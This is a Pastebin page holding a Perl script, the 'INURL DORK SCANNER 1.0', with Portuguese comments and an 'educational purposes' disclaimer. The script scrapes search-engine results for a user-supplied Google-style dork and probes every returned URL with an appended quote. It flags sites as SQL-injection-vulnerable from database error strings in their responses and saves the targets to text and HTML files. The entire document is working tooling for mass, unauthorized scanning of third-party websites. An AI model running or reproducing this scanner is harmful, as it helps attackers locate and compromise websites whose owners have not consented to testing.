Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use LWP::UserAgent;
- use URI::Escape;
- use HTTP::Request;
- use Term::ANSIColor;
- my $ua = LWP::UserAgent->new();
- $ua->timeout(7);
- system "clear";
- print color("yellow"), q{
- INURL DORK SCANNER 1.0\n
- # GOOGLEINURL { http://blog.inurl.com.br/ }
- # Escaner para fins educacionais,
- # Não nos responsabilizamos pelo mau uso do mesmo.
- fb.com/googleinurl
- blog.inurl.com.br
- },color("reset");
- open(clear,'>search-dump.txt.clear'); #Exclusão de resultados de busca anteriores limpas
- close(clear);
- open(dork,">search-dump.txt"); #Excluindo resultados da pesquisa anterior
- close(dork);
- $file ='';
- print color("red"),"Tipo de dork",color("reset")," ex:(news.php?id=), ex:(site:br noticias.php?id=)\n
- INURL DORK SCANNER 1.0\n
- # GOOGLEINURL { http://blog.inurl.com.br/ }
- # Escaner para fins educacionais,
- # Não nos responsabilizamos pelo mau uso do mesmo.
- fb.com/googleinurl
- blog.inurl.com.br
- Mais exemplos de dorks: \n
- http://blog.inurl.com.br/search/label/dorks\n
- ";
- print color("red"),"Dork de pesquisa: \n",color("reset");
- $dork = <STDIN>;
- $dork = uri_escape($dork);
- chomp($dork);
- $file = 'output.txt'; #onde é salvo as urls
- chomp($file);
- print color("green"),"Pesquisar inicializado...",color("reset"),"\n";
- for ($i = 0; $i < 10000; $i += 10) {
- $useragent = LWP::UserAgent->new(agent => "Mozilla/4.$i [en] (Windows NT 6.0; U)");#agente http
- $useragent->timeout(10);
- $useragent->env_proxy;
- $curl = $useragent->get("http://busca.uol.com.br/web/?q=".$dork."&start=".$i)->content; #motor de busca
- $check = index($curl, 'link');
- while (1) {
- $n = index($curl, '<a href="');
- if ($n == -1) {
- last;
- }
- $curl = substr($curl, $n + 9);
- $s = substr($curl, 0, index($curl, '"'));
- print color("green"), "[+] ",color("reset"),"$s\n";
- open(dork,">>search-dump.txt");
- print dork $s, "\n";
- close(dork);
- }
- if ($check == -1) {
- last;
- }
- }
- print "\n";
- print color("Red"),"[INFO] ",color("reset"),"Pesquisa Feita\n";
- print "\n";
- print color("Red"),"[INFO] ",color("reset"),"Removendo linhas duplicadas de sua busca.\n";
- sleep 2;
- my $cleanrthefile = 'search-dump.txt';
- my %seen = ();
- {
- local @ARGV = ($cleanrthefile);
- local $^I = '.clear';
- while(<>){
- $seen{$_}++;
- next if $seen{$_} > 1;
- print;
- }
- }
- print color("Red"),"[INFO] ",color("reset"), "Ficheiro de processamento concluído.\n";
- sleep 2;
- print "\n";
- print color("Red"),"[INFO] ",color("reset"), "Verificar.",color("red")," vul's\n",color("reset");
- print "\n";
- open FILE, "<", "search-dump.txt" or die $!;
- my @amount1 = <FILE>;
- my $amount1 = @amount1;
- my $infomsg = "$amount1 urls do test";
- print color("red"), "[INFO]" ,color("reset")," $infomsg url testadas\n";
- print "\n";
- $LOGFILE = "search-dump.txt";
- open(LOGFILE) or die("Não foi possível abrir o arquivo de log.");
- foreach $line (<LOGFILE>) {
- chomp($line);
- my $url = $line."'";
- my $request = HTTP::Request->new( GET => $url );
- my $response = $ua->request( $request );
- if ( $response->content =~ /SQL/ || $response->content =~ /\/var\/www\// ) {
- open(vul,">>$file");
- print vul $url, "\n";
- open HTML, ">>", "$file.html" or die $!;
- close(vul);
- print color("bold red"), "[+] ",color("reset"), "$url",color("bold red")," VULNERÁVEL!",color("reset");
- print HTML "<a href=\"$url\">$url</a>\n";
- }
- elsif( $response->content =~ m/80040e14/i ) { #Verificar se consta a seguinte conjunto de caracteres 80040e14
- open(vul,">>$file");
- print vul $url, "\n";
- open HTML, ">>", "$file.html" or die $!;
- close(vul);
- print color("bold yellow"), "[+] ",color("reset"), "$url",color("bold yellow")," MS DB error Detectado",color("bold red"), " SQLI possível",color("reset");
- print HTML "<a href=\"$url\">$url</a>\n";
- }
- elsif( $response->content =~ m/SELECT (.*) FROM (.*) WHERE/i ) { #Verificar se consta a seguinte string 80040e14
- open(vul,">>$file");
- print vul $url, "\n";
- open HTML, ">>", "$file.html" or die $!;
- close(vul);
- print color("bold red"), "[+] ",color("reset"), "$url",color("bold red")," SELECT FROM WHERE Detectado",color("reset");
- print HTML "<a href=\"$url\">$url</a>\n";
- }
- elsif( $response->content =~ m/SELECT (.*) FROM (.*)/i ) {
- open(vul,">>$file");
- print vul $url, "\n";
- open HTML, ">>", "$file.html" or die $!;
- close(vul);
- print color("bold red"), "[+] ",color("reset"), "$url",color("bold red")," SELECT FROM WHERE Detectado",color("reset");
- print HTML "<a href=\"$url\">$url</a>\n";
- }
- elsif( $response->content =~ m/(.*) Invalid argument supplied (.*)/i ) {
- open(vul,">>$file");
- print vul $url, "\n";
- open HTML, ">>", "$file.html" or die $!;
- close(vul);
- print color("bold red "), "[+] ",color("reset"), "$url",color("bold red")," Argumento inválido fornecido Detectado",color("reset");
- print HTML "<a href=\"$url\">$url</a>\n";
- }
- else {
- print color("green"), "[-] ",color("reset"),"$url",color("green")," NADA ENCONTRADO!",color("reset"); #Fim da validação URL
- }
- close vul;
- close HTML;
- print "\n";
- }
- print color("green"),"Pesquisa Vulnerabilidade feita\n",color("reset");
- print color("red"),"No arquivo criado será disponibilizado sites com possíveis vulnerabilidade.\n",color("reset");
- print "\n";
- sleep 2;
- open FILE, "<", "$file" or die $!;
- my @amount = <FILE>;
- my $amount = @amount;
- open (CHECKBOOK, "$file");
- while ($record = <CHECKBOOK>) {
- print color("red"), "[+] ",color("reset"),"[VULL]",color("red"),"--> ERRO ENCONTRADO! ",color("reset"),"$record",color("reset");
- }
- close(CHECKBOOK);
- close(FILE);
- print "\n";
- print color("red"), "[+] $amount URLS ",color("reset")," com possíveis vulnerabilidade \n";
- print color("red"), "[+] ",color("reset"),"Sites vulneráveis armazenados no arquivo ",color ("red")," $file.html \n",color("reset");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement